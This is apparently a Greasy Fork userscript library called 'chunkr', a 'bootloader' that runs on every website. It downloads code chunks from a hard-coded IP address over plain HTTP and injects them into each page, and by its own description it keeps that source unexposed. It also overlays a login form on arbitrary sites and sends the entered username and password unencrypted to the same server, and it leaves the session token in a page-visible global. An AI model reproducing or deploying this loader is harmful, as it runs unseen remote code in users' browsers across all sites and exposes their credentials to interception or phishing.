Ten skrypt nie powinien być instalowany bezpośrednio. Jest to biblioteka dla innych skyptów do włączenia dyrektywą meta // @require https://update.greasyfork.org/scripts/552586/1677523/chunkr.js
// ==UserScript==
// @name chunkr
// @namespace https://tu-dominio
// @version 0.5.0
// @description Bootloader de gobernanza de extensiones: entrega el código en chunks verificables, controla quién puede instalar/ejecutar, protege el fuente (no expuesto) y permite revocar/actualizar con kill-switch central y sincronización entre pestañas.
// @match *://*/*
// @grant GM_xmlhttpRequest
// @grant GM_setValue
// @grant GM_getValue
// @grant GM_registerMenuCommand
// @grant GM_notification
// @connect *
// @run-at document-start
// @exclude http://157.173.101.186:3302/*
// @noframes
// ==/UserScript==
(function () {
'use strict';
/* ================== CONFIG ================== */
const BASE_URL = 'http://157.173.101.186:3002';
const SCRIPT_KEY = 'recorder';
const STORAGE = { token: `bl.token.${SCRIPT_KEY}` };
const LOGOUT_FLAG = `__bl_logout__:${SCRIPT_KEY}`;
/* ================== UTILS ================== */
const td = new TextDecoder('utf-8');
const notify = (text, title='Bootloader') => { try { GM_notification({ text, title, timeout: 1800 }); } catch {} };
function gmx(method, url, { headers = {}, responseType = 'arraybuffer', body = null, token = null } = {}) {
const h = { ...headers };
if (token) h['Authorization'] = `Bearer ${token}`;
return new Promise((resolve, reject) => {
GM_xmlhttpRequest({
method, url, headers: h, responseType, data: body,
onload: (res) => (res.status >= 200 && res.status < 300) ? resolve(res)
: reject(Object.assign(new Error(`HTTP ${res.status} ${url}`), { res })),
onerror: reject,
ontimeout: () => reject(new Error('timeout ' + url))
});
});
}
async function sha256Hex(buf) {
const h = await crypto.subtle.digest('SHA-256', buf);
return Array.from(new Uint8Array(h)).map(b => b.toString(16).padStart(2, '0')).join('');
}
const getToken = () => GM_getValue(STORAGE.token, null);
const setToken = (t) => GM_setValue(STORAGE.token, t);
function getBC() {
try { if ('BroadcastChannel' in window) return new BroadcastChannel(`bl_${SCRIPT_KEY}`); }
catch {}
return null;
}
const bc = getBC();
function safeMenu(title, fn) {
try { GM_registerMenuCommand(title, () => { try { fn(); } catch (e) { console.error('[BL] menu error', e); notify('Error en acción: ' + (e.message||e)); } }); }
catch (e) { console.warn('[BL] no se pudo registrar menú', title, e); }
}
async function menuEstado() {
const t = await getToken();
notify(t ? 'Con token en memoria' : 'Sin token');
}
async function menuLogin() {
try { const t = await showLoginOverlay(); await setToken(t); notify('Sesión iniciada'); }
catch { notify('Login cancelado'); }
}
async function menuLoginGoogle() {
try { const t = await oauthWithGoogle(); await setToken(t); notify('Sesión iniciada con Google'); }
catch { notify('No se pudo completar Google OAuth'); }
}
async function menuLogout() {
try {
const token = await getToken();
if (token) { await gmx('POST', `${BASE_URL}/api/logout`, { token }); }
} catch {}
await setToken(null);
try { bc && bc.postMessage({ type: 'BOOTLOADER_LOGOUT' }); } catch {}
try { localStorage.setItem(LOGOUT_FLAG, String(Date.now())); } catch {}
notify('Sesión cerrada.');
}
async function menuRecargar() { try { await main(true); } catch (e) { notify('Error al recargar'); console.error(e); } }
safeMenu('Estado', menuEstado);
safeMenu('Iniciar sesión', menuLogin);
safeMenu('Iniciar sesión con Google', menuLoginGoogle);
safeMenu('Cerrar sesión', menuLogout);
safeMenu('Forzar recarga del bundle', menuRecargar);
const OAUTH = { POPUP_W: 480, POPUP_H: 640, TIMEOUT_MS: 120000 };
function randState() { const b = new Uint8Array(16); crypto.getRandomValues(b); return Array.from(b).map(x=>x.toString(16).padStart(2,'0')).join(''); }
function openCentered(url, w, h) {
const y = window.top.outerHeight / 2 + window.top.screenY - (h / 2);
const x = window.top.outerWidth / 2 + window.top.screenX - (w / 2);
return window.open(url, 'oauth_google',
`width=${w},height=${h},left=${Math.max(0,x)},top=${Math.max(0,y)},resizable=yes,scrollbars=yes`);
}
async function oauthWithGoogle() {
const state = randState();
const origin = location.origin;
const url = `${BASE_URL}/oauth/google/start?state=${encodeURIComponent(state)}&origin=${encodeURIComponent(origin)}`;
return new Promise((resolve, reject) => {
let done = false;
const pop = openCentered(url, OAUTH.POPUP_W, OAUTH.POPUP_H);
if (!pop) return reject(new Error('Popup bloqueado'));
const timer = setTimeout(() => {
if (done) return; done = true; try { pop.close(); } catch {}
reject(new Error('Timeout OAuth'));
}, OAUTH.TIMEOUT_MS);
function onMsg(ev){
if (ev.origin !== BASE_URL) return;
const d = ev.data || {};
if (d.type !== 'OAUTH_RESULT' || d.state !== state) return;
clearTimeout(timer); window.removeEventListener('message', onMsg);
done = true; try { pop.close(); } catch {}
if (!d.token) return reject(new Error('OAuth sin token'));
resolve(d.token);
}
window.addEventListener('message', onMsg);
});
}
function showLoginOverlay() {
return new Promise((resolve, reject) => {
try {
const host = document.createElement('div');
host.style.position = 'fixed'; host.style.inset = '0'; host.style.zIndex = '2147483647'; host.style.pointerEvents = 'none';
(document.documentElement || document.body).appendChild(host);
const shadow = host.attachShadow({ mode:'open' });
shadow.innerHTML = `
<style>
:host{ all: initial; }
.backdrop{ position:fixed; inset:0; background:rgba(17,24,39,.45); display:grid; place-items:center; pointer-events:auto; }
.card{ background:#fff; border:1px solid #e5e7eb; border-radius:14px; box-shadow:0 10px 30px rgba(0,0,0,.15); padding:18px; font:14px/1.45 ui-sans-serif,system-ui; color:#111827; width:min(420px,92vw); }
.card, .card *{ box-sizing:border-box; }
h3{ margin:0; font-size:18px; font-weight:800; letter-spacing:-0.01em; }
.subtitle{ margin:6px 0 10px; font-size:13px; color:#4b5563; }
label{ display:block; font-size:12px; color:#6b7280; margin:10px 0 6px; }
input{ width:100%; height:44px; padding:10px 12px; border-radius:10px; border:1px solid #e5e7eb; background:#fff; color:#111827; appearance:none; }
input:focus{ outline:none; border-color:#6366f1; box-shadow:0 0 0 3px rgba(99,102,241,.2); }
input:-webkit-autofill{ box-shadow:0 0 0 1000px #fff inset !important; -webkit-text-fill-color:#111827 !important; caret-color:#111827; }
.input-row{ position:relative; }
.input-row.has-toggle input{ padding-right:88px; }
.pw-toggle{ position:absolute; right:8px; top:50%; transform:translateY(-50%); border:0; background:#f3f4f6; padding:6px 10px; border-radius:8px; font-size:12px; cursor:pointer; }
.aux{ display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px; }
.row{ display:flex; gap:8px; margin-top:14px; }
.btn{ flex:1; cursor:pointer; border:0; border-radius:10px; padding:10px 12px; font-weight:700; height:44px; }
.btn-primary{ background:#111827; color:#fff; }
.btn-ghost{ background:#f3f4f6; color:#111827; }
.btn-outline{ background:#fff; border:1px solid #e5e7eb; color:#111827; }
.link{ font-size:12px; color:#2563eb; text-decoration:none; }
.link:hover{ text-decoration:underline; }
.error{ margin-top:10px; font-size:12px; color:#b91c1c; min-height:16px; }
.muted{ margin-top:8px; font-size:11px; color:#6b7280; }
.btn:focus, .pw-toggle:focus, .link:focus{ outline:2px solid #6366f1; outline-offset:2px; border-radius:8px; }
</style>
<div class="backdrop">
<div class="card" role="dialog" aria-modal="true" aria-labelledby="dlg-title" aria-describedby="dlg-desc">
<h3 id="dlg-title">Inicia sesión</h3>
<p id="dlg-desc" class="subtitle">Accede con tu usuario para continuar con las acciones seguras de la plataforma.</p>
<form id="loginForm" novalidate>
<label for="u">Usuario</label>
<div class="input-row"><input id="u" name="username" type="text" autocomplete="username" required autofocus /></div>
<label for="p">Contraseña</label>
<div class="input-row has-toggle">
<input id="p" name="password" type="password" autocomplete="current-password" required />
<button type="button" id="toggle-pw" class="pw-toggle" aria-pressed="false" aria-controls="p" aria-label="Mostrar contraseña">Mostrar</button>
</div>
<div class="aux"><a href="#" class="link" id="forgot">¿Olvidaste tu contraseña?</a></div>
<div class="row"><button id="cancel" type="button" class="btn btn-ghost">Cancelar</button><button id="login" type="submit" class="btn btn-primary">Entrar</button></div>
<div class="row"><button id="login-google" type="button" class="btn btn-outline">Continuar con Google</button></div>
<div id="err" class="error" aria-live="polite"></div>
<p class="muted">Protegemos tu información. Solo usamos tus datos para autenticarte y mejorar tu experiencia.</p>
</form>
</div>
</div>`;
const $ = s => shadow.querySelector(s);
const $u = $('#u'), $p = $('#p'), $login = $('#login'), $cancel = $('#cancel'), $err = $('#err');
const cleanup = () => host.remove();
async function doLogin(){
$err.textContent = ''; $login.disabled = true; $cancel.disabled = true;
try {
const res = await gmx('POST', `${BASE_URL}/api/login`, {
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username: $u.value.trim(), password: $p.value })
});
const data = JSON.parse(td.decode(new Uint8Array(res.response)));
if (!data?.token) throw new Error('respuesta inválida');
cleanup(); resolve(data.token);
} catch(e) {
$err.textContent = 'Credenciales inválidas o servidor no disponible.';
$login.disabled = false; $cancel.disabled = false;
}
}
$login.addEventListener('click', doLogin);
const $toggle = $('#toggle-pw');
$toggle.addEventListener('click', function(){
const isPwd = $p.getAttribute('type') === 'password';
$p.setAttribute('type', isPwd ? 'text' : 'password');
this.textContent = isPwd ? 'Ocultar' : 'Mostrar';
this.setAttribute('aria-pressed', String(isPwd));
$p.focus();
});
const $loginGoogle = $('#login-google');
if ($loginGoogle) {
$loginGoogle.addEventListener('click', async () => {
$err.textContent = ''; $login.disabled = true; $cancel.disabled = true;
try {
const t = await oauthWithGoogle();
await setToken(t); cleanup(); resolve(t);
} catch (e) {
console.error(e); $err.textContent = 'No se pudo completar Google OAuth.';
$login.disabled = false; $cancel.disabled = false;
}
});
}
$cancel.addEventListener('click', ()=>{ cleanup(); reject(new Error('cancelado')); });
shadow.addEventListener('keydown', e => { if(e.key==='Enter') doLogin(); if(e.key==='Escape'){ cleanup(); reject(new Error('cancelado')); }});
$u.focus();
} catch (e) {
console.error('[BL] login overlay error', e);
reject(e);
}
});
}
async function authRequest(method, url, options = {}) {
let token = await getToken();
try { return await gmx(method, url, { ...options, token }); }
catch (e) {
if (e?.res?.status === 401) {
// 1) Intentar OAuth Google
try {
token = await oauthWithGoogle();
await setToken(token);
return await gmx(method, url, { ...options, token });
} catch (_) {}
// 2) Fallback: overlay usuario/contraseña
token = await showLoginOverlay();
await setToken(token);
return await gmx(method, url, { ...options, token });
}
throw e;
}
}
async function fetchManifest() {
const res = await authRequest('GET', `${BASE_URL}/api/scripts/${encodeURIComponent(SCRIPT_KEY)}/manifest`);
return JSON.parse(td.decode(new Uint8Array(res.response)));
}
async function fetchChunk(id) {
const res = await authRequest('GET', `${BASE_URL}/api/scripts/${encodeURIComponent(SCRIPT_KEY)}/chunks/${id}`);
return new Uint8Array(res.response);
}
const DESTRUCT_JS =
"try{if(window.__SR&&typeof window.__SR.destroy==='function'){window.__SR.destroy();}}catch(e){};" +
"try{window.dispatchEvent(new Event('bootloader:logout'));}catch(e){};";
function guardForChunk(meta) {
// meta: { base, key, version, id, name, sha256 }
const endpoint = meta.base + "/api/scripts/" + meta.key + "/verify";
const payload = JSON.stringify({ version: meta.version, id: meta.id, name: meta.name, sha256: meta.sha256 });
return (
";\n/* guard:" + meta.name.replace(/\*/g,'x') + " */\n" +
"(function(){try{" +
"var BL=window.__BL_BOOT||{};" +
"var ac= (typeof AbortController!=='undefined')? new AbortController():null;" +
"var opt={method:'POST',headers:{'Authorization':'Bearer '+(BL.token||''),'Content-Type':'application/json'},body:" + JSON.stringify(payload) + "};" +
"if(ac){opt.signal=ac.signal; setTimeout(function(){try{ac.abort();}catch(e){}},3500);}" +
"fetch(" + JSON.stringify(endpoint) + ", opt)" +
".then(function(r){return r.ok?r.json():{ok:false};})" +
".then(function(res){ if(!res||res.ok!==true){ " + DESTRUCT_JS + " } })" +
".catch(function(){ " + DESTRUCT_JS + " });" +
"}catch(e){" + DESTRUCT_JS + "}})();\n"
);
}
async function composeFromChunks(manifest, token) {
const parts = [];
// Preámbulo con datos para los guards
parts.push(
";\nwindow.__BL_BOOT={ base:" + JSON.stringify(BASE_URL) +
", key:" + JSON.stringify(SCRIPT_KEY) +
", token:" + JSON.stringify(token||'') + " };\n" +
"window.addEventListener('bootloader:logout',function(){try{if(window.__SR&&window.__SR.destroy){window.__SR.destroy();}}catch(e){}});\n"
);
for (const ch of manifest.chunks) {
const bin = await fetchChunk(ch.id);
const hex = await sha256Hex(bin.buffer);
if (hex !== ch.sha256) throw new Error('Hash inválido en ' + ch.name);
let code = td.decode(bin);
if (!/\n$/.test(code)) code += '\n';
code += '//# sourceURL=' + ch.name + '\n';
code += guardForChunk({ base: BASE_URL, key: SCRIPT_KEY, version: manifest.version, id: ch.id, name: ch.name, sha256: ch.sha256 });
parts.push(code);
}
parts.push('//# sourceURL=' + SCRIPT_KEY + '-bundle-' + manifest.version + '.user.js\n');
return parts.join('\n;/*----*/\n');
}
function inject(code){
const s = document.createElement('script');
s.textContent = code;
(document.documentElement || document.head).appendChild(s);
s.remove();
}
bc && bc.addEventListener('message', ev => { if (ev.data && ev.data.type === 'BOOTLOADER_LOGOUT') window.dispatchEvent(new Event('bootloader:logout')); });
window.addEventListener('storage', e => { if (e.key === LOGOUT_FLAG) window.dispatchEvent(new Event('bootloader:logout')); });
async function main(forceReload=false) {
try {
let token = await getToken();
if (!token) { try { token = await showLoginOverlay(); await setToken(token); } catch {} }
const manifest = await fetchManifest();
const code = await composeFromChunks(manifest, token);
inject(code);
if (forceReload) notify('Bundle recargado.');
} catch (e) {
console.error('[BL] main error', e);
notify('Error bootloader: ' + (e.message||e));
}
}
setTimeout(() => { main(false); }, 0);
})();